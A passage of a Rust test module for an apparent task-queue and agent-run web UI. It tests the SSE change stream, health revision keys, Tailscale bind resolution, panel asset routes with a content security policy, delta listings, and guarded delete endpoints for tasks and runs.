19174        // Read until the first event arrives rather than to end of stream: the
19175        // stream is endless by design, which is the point of the route.
19176        let mut seen = String::new();
19177        let mut buf = [0u8; 1024];
19178        while !seen.contains("event: change") {
19179            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
19180                .await
19181                .expect("the stream must speak within five seconds")
19182                .expect("read");
19183            assert!(read > 0, "the server closed the change stream: {seen}");
19184            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
19185        }
19186
19187        assert!(
19188            seen.to_lowercase()
19189                .contains("content-type: text/event-stream"),
19190            "the browser only reconnects automatically for a real SSE stream: {seen}"
19191        );
19192        let data = seen
19193            .lines()
19194            .find_map(|l| l.strip_prefix("data:"))
19195            .expect("a data line");
19196        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
19197        assert!(
19198            payload["queue_rev"].is_u64()
19199                && payload["runs_rev"].is_u64()
19200                && payload["questions_rev"].is_u64()
19201                && payload["talks_rev"].is_u64()
19202                && payload["notifications_rev"].is_u64()
19203                && payload["loop_rev"].is_u64(),
19204            "the client needs one revision per store to know what to refetch, \
19205             and `talks_rev` is the only notification a standing talk gets - a \
19206             phone whose radio slept through a turn learns about it here, as \
19207             does one whose operator started the loop from another device: \
19208             {payload}"
19209        );
19210
19211        // The front end re-polls health on a timer and on wake, and takes the
19212        // revisions from that answer whenever the stream is not up. So health
19213        // has to carry every key the stream carries: a phone on a link that
19214        // will not hold an SSE connection is exactly the phone that must still
19215        // notice a question, and a missing key there is not a 500 but a UI
19216        // that quietly stops updating.
19217        let health = f.get("/api/health").await.json();
19218        for key in [
19219            "queue_rev",
19220            "runs_rev",
19221            "questions_rev",
19222            "talks_rev",
19223            "notifications_rev",
19224            "loop_rev",
19225        ] {
19226            assert!(
19227                health[key].is_u64(),
19228                "health is the change stream's fallback and is missing `{key}`: {health}"
19229            );
19230        }
19231    }
19232
19233    #[tokio::test]
19234    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
19235        let f = Fixture::start().await;
19236        let before = f.get("/api/health").await.json()["talks_rev"]
19237            .as_u64()
19238            .expect("talks_rev");
19239
19240        let talk = seed_talk(&f, "20260904-014455-ab12", "open");
19241        std::thread::sleep(Duration::from_millis(10));
19242        let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
19243        on_disk.turns.push(crate::talk::Turn {
19244            sender: None,
19245            breaks: Some(Vec::new()),
19246            messages: Vec::new(),
19247            posted_by: None,
19248            who: crate::talk::Who::Operator,
19249            body: "a new turn".to_owned(),
19250            at: Timestamp::now(),
19251            attachments: Vec::new(),
19252            usage: None,
19253        });
19254        f.talks().put(&mut on_disk).expect("record a turn");
19255
19256        let after = f.get("/api/health").await.json()["talks_rev"]
19257            .as_u64()
19258            .expect("talks_rev");
19259        assert_ne!(
19260            before, after,
19261            "a phone must be able to notice a talk's reply without polling every store"
19262        );
19263    }
19264
19265    #[test]
19266    fn bind_reads_back_from_the_spelling_the_cli_prints() {
19267        // The CLI shows the default in `--help` and parses whatever comes
19268        // back, so the two directions have to agree or `--bind auto` breaks
19269        // the moment someone copies the help text.
19270        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
19271            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
19272        }
19273        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
19274        assert!("everywhere".parse::<Bind>().is_err());
19275    }
19276
19277    #[test]
19278    fn an_explicit_bind_address_is_taken_verbatim() {
19279        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
19280
19281        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
19282
19283        assert_eq!(addr, asked);
19284        assert!(
19285            warning.is_none(),
19286            "an operator who named an address gets no lecture"
19287        );
19288    }
19289
19290    #[test]
19291    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
19292        let (addr, warning) = resolve_bind(&Bind::Auto);
19293
19294        // This has to hold on a CI runner with no `tailscale` and on a dev box
19295        // with one, so the invariant asserted is the one shared by both
19296        // outcomes: the address is either a real tailnet address offered
19297        // without comment, or loopback with an explanation. What must never
19298        // happen is a silent fallback - an operator told "listening on
19299        // 127.0.0.1" with no reason would go looking for a firewall.
19300        match addr {
19301            IpAddr::V4(ip) if is_tailnet(&ip) => {
19302                assert!(warning.is_none(), "a tailnet address needs no warning");
19303            }
19304            other => {
19305                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
19306                let warning = warning.expect("a fallback has to explain itself");
19307                assert!(
19308                    warning.contains("127.0.0.1") && warning.contains("local-only"),
19309                    "the warning says what happened and what it costs: {warning}"
19310                );
19311            }
19312        }
19313    }
19314
19315    #[test]
19316    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
19317        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
19318        // boundary cases are what stop us binding to some other tool's idea of
19319        // an address.
19320        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
19321        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
19322        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
19323        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
19324        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
19325    }
19326
19327    #[test]
19328    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
19329        let ids = vec![
19330            "20260902-140501-aaaa".to_owned(),
19331            "20260902-140502-aabb".to_owned(),
19332        ];
19333
19334        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
19335        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
19336        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
19337
19338        assert_eq!(missing.status, StatusCode::NOT_FOUND);
19339        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
19340        assert_eq!(short, "20260902-140502-aabb");
19341    }
19342    #[tokio::test]
19343    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
19344        // The prompt tells agents to reference attachments by bare filename.
19345        // A document served at `.../panel` resolves `shot.png` against its own
19346        // directory, i.e. `.../shot.png`, which is not the asset route - so a
19347        // panel written exactly as instructed showed broken images. Caught by
19348        // looking at a real one in a browser, not by reading the code.
19349        let fx = Fixture::start().await;
19350        let id = panel(
19351            &fx,
19352            "<img src=\"shot.png\">",
19353            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
19354        );
19355
19356        // The frame's own URL ends in a filename, so its siblings are reachable.
19357        let doc = fx
19358            .get(&format!("/api/questions/{id}/panel/index.html"))
19359            .await;
19360        assert_eq!(doc.status, 200, "{}", doc.body);
19361        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
19362
19363        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
19364        assert_eq!(sibling.status, 200, "{}", sibling.body);
19365        assert_eq!(sibling.header("content-type"), Some("image/png"));
19366        assert_eq!(
19367            sibling.header("content-security-policy"),
19368            Some(PANEL_CSP),
19369            "the sibling route must carry the same policy as the asset route"
19370        );
19371
19372        // The original spelling keeps working: HEAD on it is how the front end
19373        // decides whether to mount a frame at all.
19374        assert_eq!(
19375            fx.head(&format!("/api/questions/{id}/panel")).await.status,
19376            200
19377        );
19378    }
19379
19380    #[test]
19381    fn delta_stamps_cover_add_update_remove_and_noop() {
19382        let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
19383        let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
19384        let delta = diff_stamps(&before, &after, 42);
19385        assert_eq!(delta.base, 42);
19386        assert_eq!(delta.changed, ["b", "c"]);
19387        assert_eq!(delta.removed, ["a"]);
19388        let same = diff_stamps(&after, &after, 43);
19389        assert!(same.changed.is_empty() && same.removed.is_empty());
19390        assert_ne!(stamps_revision(&before), stamps_revision(&after));
19391        let nanos: Stamps = [("b".into(), (2, 20))].into();
19392        let same_ms: Stamps = [("b".into(), (3, 20))].into();
19393        assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
19394        assert_eq!(stamps_revision(&Stamps::new()), 0);
19395    }
19396
19397    fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
19398        std::fs::create_dir_all(home.join("runs")).unwrap();
19399        Arc::new(Ui::new(
19400            Queue::at(home.join("queue")),
19401            Questions::at(home.join("questions")),
19402            Talks::at(home.join("talks")),
19403            home.join("runs"),
19404            home.to_owned(),
19405            PathBuf::from("/repo/magi"),
19406        ))
19407    }
19408
19409    #[tokio::test]
19410    async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
19411        let home = TempDir::new().unwrap();
19412        let ui = delta_test_ui(home.path());
19413        let mut task = Task::new(
19414            "stream task".into(),
19415            "text".into(),
19416            PathBuf::from("/repo"),
19417            Source::Human,
19418        );
19419        ui.queue.put(&mut task).unwrap();
19420        let response = events(State(ui.clone())).await.into_response();
19421        let mut stream = response.into_body().into_data_stream();
19422        async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
19423            let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
19424                .await
19425                .unwrap()
19426                .unwrap()
19427                .unwrap();
19428            let text = String::from_utf8(chunk.to_vec()).unwrap();
19429            let data = text
19430                .lines()
19431                .find_map(|line| {
19432                    line.strip_prefix("data: ")
19433                        .or_else(|| line.strip_prefix("data:"))
19434                })
19435                .unwrap();
19436            serde_json::from_str(data).unwrap()
19437        }
19438        let initial = change(&mut stream).await;
19439        assert!(initial.get("queue_delta").is_none());
19440        task.instruction.push_str(" changed");
19441        ui.queue.put(&mut task).unwrap();
19442        let updated = change(&mut stream).await;
19443        assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
19444        assert_eq!(
19445            updated["queue_delta"]["changed"],
19446            serde_json::json!([task.id])
19447        );
19448        assert_eq!(
19449            updated["queue_rev"].as_u64(),
19450            Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
19451        );
19452        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
19453        let removed = change(&mut stream).await;
19454        assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
19455        assert_eq!(
19456            removed["queue_delta"]["removed"],
19457            serde_json::json!([task.id])
19458        );
19459    }
19460
19461    #[tokio::test]
19462    async fn delta_lists_keep_blockers_and_respect_the_run_window() {
19463        let home = TempDir::new().unwrap();
19464        let ui = delta_test_ui(home.path());
19465        let queue = ui.queue.clone();
19466        let query = |ids: Option<&str>| {
19467            Query(ListQuery {
19468                limit: Some(2),
19469                ids: ids.map(str::to_owned),
19470            })
19471        };
19472        let mut root = Task::new(
19473            "root".into(),
19474            "instruction".into(),
19475            PathBuf::from("/repo"),
19476            Source::Human,
19477        );
19478        queue.put(&mut root).unwrap();
19479        let mut blocked = Task::new(
19480            "blocked".into(),
19481            "instruction".into(),
19482            PathBuf::from("/repo"),
19483            Source::Human,
19484        );
19485        blocked.block(vec![root.id.clone()], None);
19486        queue.put(&mut blocked).unwrap();
19487        let whole =
19488            serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
19489                .unwrap();
19490        let subset = serde_json::to_value(
19491            queue_list(State(ui.clone()), query(Some(&root.id)))
19492                .await
19493                .unwrap()
19494                .0,
19495        )
19496        .unwrap();
19497        assert_eq!(whole, subset, "requested root plus its blocked dependent");
19498        let blockers = serde_json::to_value(
19499            queue_list(State(ui.clone()), query(Some("")))
19500                .await
19501                .unwrap()
19502                .0,
19503        )
19504        .unwrap();
19505        assert_eq!(blockers.as_array().unwrap().len(), 1);
19506        assert_eq!(blockers[0]["id"], blocked.id);
19507        assert_eq!(
19508            blockers[0]["waits_on"],
19509            whole
19510                .as_array()
19511                .unwrap()
19512                .iter()
19513                .find(|row| row["id"] == blocked.id)
19514                .unwrap()["waits_on"]
19515        );
19516
19517        for id in [
19518            "20260902-140501-aaaa",
19519            "20260902-140502-bbbb",
19520            "20260902-140503-cccc",
19521        ] {
19522            write_run(&ui.runs, id, RunStatus::Merged);
19523        }
19524        let old = serde_json::to_value(
19525            runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
19526                .await
19527                .unwrap()
19528                .0,
19529        )
19530        .unwrap();
19531        assert!(
19532            old.as_array().unwrap().is_empty(),
19533            "older updates must not enter the window"
19534        );
19535        let newest = serde_json::to_value(
19536            runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
19537                .await
19538                .unwrap()
19539                .0,
19540        )
19541        .unwrap();
19542        assert_eq!(newest.as_array().unwrap().len(), 1);
19543        assert_eq!(newest[0]["id"], "20260902-140503-cccc");
19544
19545        seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
19546        seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
19547        let talks = serde_json::to_value(
19548            talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
19549                .await
19550                .unwrap()
19551                .0,
19552        )
19553        .unwrap();
19554        assert_eq!(talks.as_array().unwrap().len(), 1);
19555        assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
19556        assert_eq!(
19557            serde_json::to_value(
19558                talks_list(State(ui.clone()), query(Some("")))
19559                    .await
19560                    .unwrap()
19561                    .0
19562            )
19563            .unwrap(),
19564            serde_json::json!([])
19565        );
19566    }
19567
19568    #[tokio::test]
19569    #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
19570    async fn delta_payload_benchmark() {
19571        let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
19572        let ui = delta_test_ui(&home);
19573        let query = |ids: Option<String>| {
19574            Query(ListQuery {
19575                limit: Some(50),
19576                ids,
19577            })
19578        };
19579        let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
19580        let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
19581        let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
19582        let queue_id = queue
19583            .iter()
19584            .find(|row| row.task.status == crate::queue::TaskStatus::Running)
19585            .unwrap_or(&queue[0])
19586            .task
19587            .id
19588            .clone();
19589        let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
19590            .await
19591            .unwrap()
19592            .0;
19593        let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
19594            .await
19595            .unwrap()
19596            .0;
19597        let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
19598            .await
19599            .unwrap()
19600            .0;
19601        let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
19602        eprintln!(
19603            "DELTA_PAYLOAD {}",
19604            serde_json::json!({
19605                "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
19606                "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
19607                "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
19608                "counts": [queue.len(), runs.len(), talks.len()],
19609                "blocked": queue_delta.len() - 1,
19610            })
19611        );
19612    }
19613
19614    #[test]
19615    fn runs_revision_moves_when_deleting_an_older_run() {
19616        let temp = TempDir::new().expect("tempdir");
19617        let runs = temp.path().join("runs");
19618        std::fs::create_dir_all(&runs).expect("create runs dir");
19619
19620        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
19621
19622        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
19623        std::thread::sleep(Duration::from_millis(10));
19624        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
19625
19626        let rev_before = runs_revision(&runs);
19627        assert!(rev_before > 0);
19628
19629        let old_dir = runs.join("20260901-100000-old1");
19630        std::fs::remove_dir_all(&old_dir).expect("remove old run");
19631
19632        let rev_after = runs_revision(&runs);
19633        assert_ne!(
19634            rev_before, rev_after,
19635            "deleting an older run must change the revision so other clients see the deletion"
19636        );
19637    }
19638
19639    /// A run's own `run.json` on an explicit `runs` root, bypassing the
19640    /// process-global home entirely — `RunState::save` writes through
19641    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
19642    /// (see `tests::home_lock` in the integration suite for why).
19643    fn write_state(runs: &FsPath, state: &RunState) {
19644        let dir = runs.join(&state.id);
19645        std::fs::create_dir_all(&dir).expect("run dir");
19646        std::fs::write(
19647            dir.join("run.json"),
19648            serde_json::to_string_pretty(state).expect("serialize run"),
19649        )
19650        .expect("write run.json");
19651    }
19652
19653    /// A seat starting or finishing is a write to `run.json` like any other,
19654    /// so it moves the same revision the change stream already watches —
19655    /// nothing new for `/api/events` to learn, but the property this feature
19656    /// depends on to reach the phone without a poll.
19657    #[test]
19658    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
19659        let temp = TempDir::new().expect("tempdir");
19660        let runs = temp.path().join("runs");
19661        std::fs::create_dir_all(&runs).expect("create runs dir");
19662        let mut state = RunState::new(
19663            PathBuf::from("/repo/magi"),
19664            "main".to_owned(),
19665            "0123456789abcdef".to_owned(),
19666            "task".to_owned(),
19667            Config::default(),
19668        );
19669        state.id = "20260902-100000-c0de".to_owned();
19670        write_state(&runs, &state);
19671
19672        let rev_idle = runs_revision(&runs);
19673        std::thread::sleep(Duration::from_millis(10));
19674        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
19675        write_state(&runs, &state);
19676        let rev_started = runs_revision(&runs);
19677        assert_ne!(
19678            rev_idle, rev_started,
19679            "a seat starting must move the revision"
19680        );
19681
19682        std::thread::sleep(Duration::from_millis(10));
19683        state.seat_finished("judge-1");
19684        write_state(&runs, &state);
19685        let rev_finished = runs_revision(&runs);
19686        assert_ne!(
19687            rev_started, rev_finished,
19688            "and clearing it again must move the revision a second time"
19689        );
19690    }
19691
19692    #[tokio::test]
19693    async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
19694        // `TaskView` flattens `Task`, so this is really asserting that
19695        // `#[serde(flatten)]` at web.rs:2530 hasn't quietly dropped a field -
19696        // e11fc58 added `blocked_by`/`block_reason`/`answers` to `Task` but
19697        // never touched web.rs, so nothing here caught it if it had.
19698        let fx = Fixture::start().await;
19699        let q = fx.queue();
19700
19701        let mut t = Task::new(
19702            "Task".to_owned(),
19703            "Instruction".to_owned(),
19704            PathBuf::from("/repo"),
19705            Source::Human,
19706        );
19707        t.block(
19708            vec!["20260101-000000-dead".to_owned()],
19709            Some("waiting on Task 1".to_owned()),
19710        );
19711        t.answers.push(crate::queue::AnsweredQuestion {
19712            question: "Which backend?".to_owned(),
19713            answer: "SQLite".to_owned(),
19714        });
19715        q.put(&mut t).expect("put t");
19716
19717        let res = fx.get("/api/queue").await;
19718        assert_eq!(res.status, 200);
19719        let list = res.json();
19720        let view = list
19721            .as_array()
19722            .expect("array")
19723            .iter()
19724            .find(|v| v["id"] == t.id)
19725            .expect("task in list");
19726        assert_eq!(view["status_str"], "blocked");
19727        assert_eq!(
19728            view["blocked_by"],
19729            serde_json::json!(["20260101-000000-dead"])
19730        );
19731        assert_eq!(view["block_reason"], "waiting on Task 1");
19732        assert_eq!(view["answers"][0]["question"], "Which backend?");
19733        assert_eq!(view["answers"][0]["answer"], "SQLite");
19734
19735        // A manual hold clears `blocked_by`/`block_reason` (`Task::hold_manual`)
19736        // but never `answers` - that is a settled decision, not state
19737        // describing the current block, so it survives.
19738        let res = fx
19739            .post(&format!("/api/queue/{}/hold", t.short()), None)
19740            .await;
19741        assert_eq!(res.status, 200);
19742        let held = res.json();
19743        assert_eq!(held["status_str"], "held");
19744        assert_eq!(held["blocked_by"], serde_json::json!([]));
19745        assert!(held["block_reason"].is_null());
19746        assert_eq!(held["answers"][0]["answer"], "SQLite");
19747    }
19748
19749    #[tokio::test]
19750    async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
19751        let fx = Fixture::start().await;
19752        let q = fx.queue();
19753        let mk = |title: &str| {
19754            Task::new(
19755                title.to_owned(),
19756                "Instruction".to_owned(),
19757                PathBuf::from("/repo"),
19758                Source::Human,
19759            )
19760        };
19761        let mut root = mk("root");
19762        root.hold_manual(Some("waiting".to_owned()));
19763        q.put(&mut root).unwrap();
19764        let mut mid = mk("mid");
19765        mid.block(vec![root.id.clone()], None);
19766        q.put(&mut mid).unwrap();
19767        let mut leaf = mk("leaf");
19768        leaf.block(vec![mid.id.clone()], None);
19769        q.put(&mut leaf).unwrap();
19770
19771        let list = fx.get("/api/queue").await.json();
19772        let find = |id: &str| {
19773            list.as_array()
19774                .unwrap()
19775                .iter()
19776                .find(|v| v["id"] == id)
19777                .unwrap()
19778                .clone()
19779        };
19780        let leaf_view = find(&leaf.id);
19781        assert_eq!(
19782            leaf_view["waits_on"],
19783            serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
19784        );
19785        assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
19786        assert_eq!(
19787            find(&mid.id)["waits_on"],
19788            serde_json::json!([format!("{} (held)", root.short())])
19789        );
19790        assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
19791    }
19792
19793    #[tokio::test]
19794    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
19795        let fx = Fixture::start().await;
19796        let q = fx.queue();
19797
19798        // 1. A queued task with runs attached can be deleted.
19799        let mut t1 = Task::new(
19800            "Task 1".to_owned(),
19801            "Instruction 1".to_owned(),
19802            PathBuf::from("/repo"),
19803            Source::Human,
19804        );
19805        let run_id = "20260901-000000-r111";
19806        t1.runs.push(run_id.to_owned());
19807        write_run(&fx.runs(), run_id, RunStatus::Merged);
19808        q.put(&mut t1).expect("put t1");
19809
19810        // Delete by short id
19811        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
19812        assert_eq!(res.status, 204);
19813        assert!(res.body.is_empty(), "204 No Content has no body");
19814        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
19815        assert!(
19816            fx.runs().join(run_id).exists(),
19817            "run directory must not be deleted when its task is deleted"
19818        );
19819
19820        // 2. A task a live daemon is running is refused with 409.
19821        let mut t2 = Task::new(
19822            "Task 2".to_owned(),
19823            "Instruction 2".to_owned(),
19824            PathBuf::from("/repo"),
19825            Source::Human,
19826        );
19827        t2.status = TaskStatus::Running;
19828        q.put(&mut t2).expect("put t2");
19829        let mut beat = crate::daemon::Status::new();
19830        beat.current = vec![crate::daemon::Current {
19831            task: t2.id.clone(),
19832            run: "20260901-000000-r222".to_owned(),
19833        }];
19834        beat.updated_at = jiff::Timestamp::now();
19835        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
19836            .expect("publish a heartbeat");
19837        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
19838        assert_eq!(res.status, 409);
19839        assert!(
19840            res.json()["error"]
19841                .as_str()
19842                .unwrap()
19843                .contains("live daemon")
19844        );
19845        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
19846
19847        // 3. The same `running` status and an orphaned lock, with no daemon
19848        // behind either, is a leftover and deletable. Before this the phone
19849        // refused it for good: the status never changes on its own and
19850        // nothing drops a lock whose process is gone.
19851        // The daemon is killed: the file stays, the heartbeat stops.
19852        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
19853        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
19854            .expect("leave a stale heartbeat");
19855        let mut t3 = Task::new(
19856            "Task 3".to_owned(),
19857            "Instruction 3".to_owned(),
19858            PathBuf::from("/repo"),
19859            Source::Human,
19860        );
19861        t3.status = TaskStatus::Running;
19862        q.put(&mut t3).expect("put t3");
19863        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
19864        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
19865        assert_eq!(res.status, 204);
19866        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
19867        assert!(
19868            q.claim(&t3.id).is_ok(),
19869            "the stale lock went with it, so the id is claimable again"
19870        );
19871
19872        // 4. Missing id returns 404
19873        let res = fx.delete("/api/queue/nonexistent").await;
19874        assert_eq!(res.status, 404);
19875    }
19876
19877    #[tokio::test]
19878    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
19879        let fx = Fixture::start().await;
19880        let runs = fx.runs();
19881
19882        // 1. Finished and folded run can be deleted along with artifacts
19883        let run_id = "20260901-000000-fold";
19884        let mut state = RunState::new(
19885            PathBuf::from("/repo"),
19886            "main".to_owned(),
19887            "abc".to_owned(),
19888            "instruction".to_owned(),
19889            Config::default(),
19890        );
19891        state.id = run_id.to_owned();
19892        state.status = RunStatus::Merged;
19893        state.candidates.push(crate::run::Candidate {
19894            index: 0,
19895            label: 'A',
19896            agent: "a".to_owned(),
19897            branch: "b".to_owned(),
19898            worktree: PathBuf::from("/w"),
19899            summary: String::new(),
19900            stat: String::new(),
19901            files: 1,
19902            commits: 1,
19903            empty: false,
19904            failed: None,
19905            verified_noop: None,
19906            duration_ms: 0,
19907            folded: true,
19908        });
19909        let dir = runs.join(run_id);
19910        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
19911        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
19912            .expect("write artifact");
19913        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
19914            .expect("write run.json");
19915
19916        // Delete by short id
19917        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
19918        assert_eq!(res.status, 204);
19919        assert!(res.body.is_empty(), "204 has no body");
19920        assert!(!dir.exists(), "run directory and artifacts must be deleted");
19921
19922        // 2. A run a live daemon is working on is refused with 409. The
19923        // heartbeat is what makes it refusable: an unfinished run with no
19924        // daemon behind it is a leftover from a killed process, and case 1
19925        // above would otherwise be impossible to tell apart from this one.
19926        let run_running = "20260901-000000-rung";
19927        write_run(&runs, run_running, RunStatus::Prep);
19928        let mut beat = crate::daemon::Status::new();
19929        beat.current = vec![crate::daemon::Current {
19930            task: "20260901-000000-task".to_owned(),
19931            run: run_running.to_owned(),
19932        }];
19933        beat.updated_at = jiff::Timestamp::now();
19934        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
19935            .expect("publish a heartbeat");
19936        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
19937        assert_eq!(res.status, 409);
19938        assert!(
19939            res.json()["error"]
19940                .as_str()
19941                .unwrap()
19942                .contains("live daemon"),
19943            "the refusal must say who is holding it"
19944        );
19945        assert!(
19946            runs.join(run_running).exists(),
19947            "a run in flight keeps its directory"
19948        );
19949
19950        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
19951        let run_unfolded = "20260901-000000-unfd";
19952        let mut state2 = RunState::new(
19953            PathBuf::from("/repo"),
19954            "main".to_owned(),
19955            "abc".to_owned(),
19956            "instruction".to_owned(),
19957            Config::default(),
19958        );
19959        state2.id = run_unfolded.to_owned();
19960        state2.status = RunStatus::Ready;
19961        state2.candidates.push(crate::run::Candidate {
19962            index: 0,
19963            label: 'A',
19964            agent: "a".to_owned(),
19965            branch: "b".to_owned(),
19966            worktree: PathBuf::from("/w"),
19967            summary: String::new(),
19968            stat: String::new(),
19969            files: 1,
19970            commits: 1,
19971            empty: false,
19972            failed: None,
19973            verified_noop: None,
19974            duration_ms: 0,
19975            folded: false,
19976        });
19977        let dir2 = runs.join(run_unfolded);
19978        std::fs::create_dir_all(&dir2).expect("create dir2");
19979        std::fs::write(
19980            dir2.join("run.json"),
19981            serde_json::to_string(&state2).unwrap(),
19982        )
19983        .expect("write run.json");
19984
19985        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
19986        assert_eq!(res.status, 409);
19987        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
19988        assert!(dir2.exists(), "unfolded run directory is kept");
19989
19990        // 4. Missing id returns 404
19991        let res = fx.delete("/api/runs/nonexistent").await;
19992        assert_eq!(res.status, 404);
19993    }
19994
19995    /// The queue tiles on the Stats tab must render even on a home with no
19996    /// runs at all: queue state is not derived from run history, so hiding
19997    /// the whole dashboard body behind "no runs yet" would drop the one
19998    /// thing this tab promises unconditionally (queued/running/held/done).
19999    /// A DOM-level test would need a browser this suite does not have, so
20000    /// this pins the same invariant textually: `renderStatsQueue` is called
20001    /// once in `renderStats`, and that call sits outside the `if (!noRuns)`
20002    /// block that gates the run-derived panels.
20003    #[test]
20004    fn stats_queue_tiles_render_even_when_there_are_no_runs() {
20005        let start = APP_JS
20006            .find("function renderStats() {")
20007            .expect("renderStats");
20008        let end = start
20009            + APP_JS[start..]
20010                .find("function statsTile(")
20011                .expect("the next top-level function");
20012        let body = &APP_JS[start..end];
20013
20014        let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
20015        let gate_end = gate_start
20016            + body[gate_start..]
20017                .find("}\n  renderStatsQueue")
20018                .expect("the gate's own closing brace, right before the unconditional call");
20019        let gated = &body[gate_start..gate_end];
20020
20021        assert_eq!(
20022            body.matches("renderStatsQueue(").count(),
20023            1,
20024            "renderStats must call renderStatsQueue exactly once: {body}"
20025        );
20026        assert!(
20027            !gated.contains("renderStatsQueue"),
20028            "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
20029             run-derived panels on an empty run history - the queue panel has to render \
20030             regardless: {gated}"
20031        );
20032    }
20033
20034    #[test]
20035    fn web_ui_delete_contract_in_front_end() {
20036        // 1. API block has both delete endpoints
20037        assert!(APP_JS.contains("deleteRun:"));
20038        assert!(APP_JS.contains("deleteTask:"));
20039
20040        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
20041        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
20042            ..APP_JS.find("function renderRuns").unwrap()];
20043        assert!(!run_cards_slice.to_lowercase().contains("delete"));
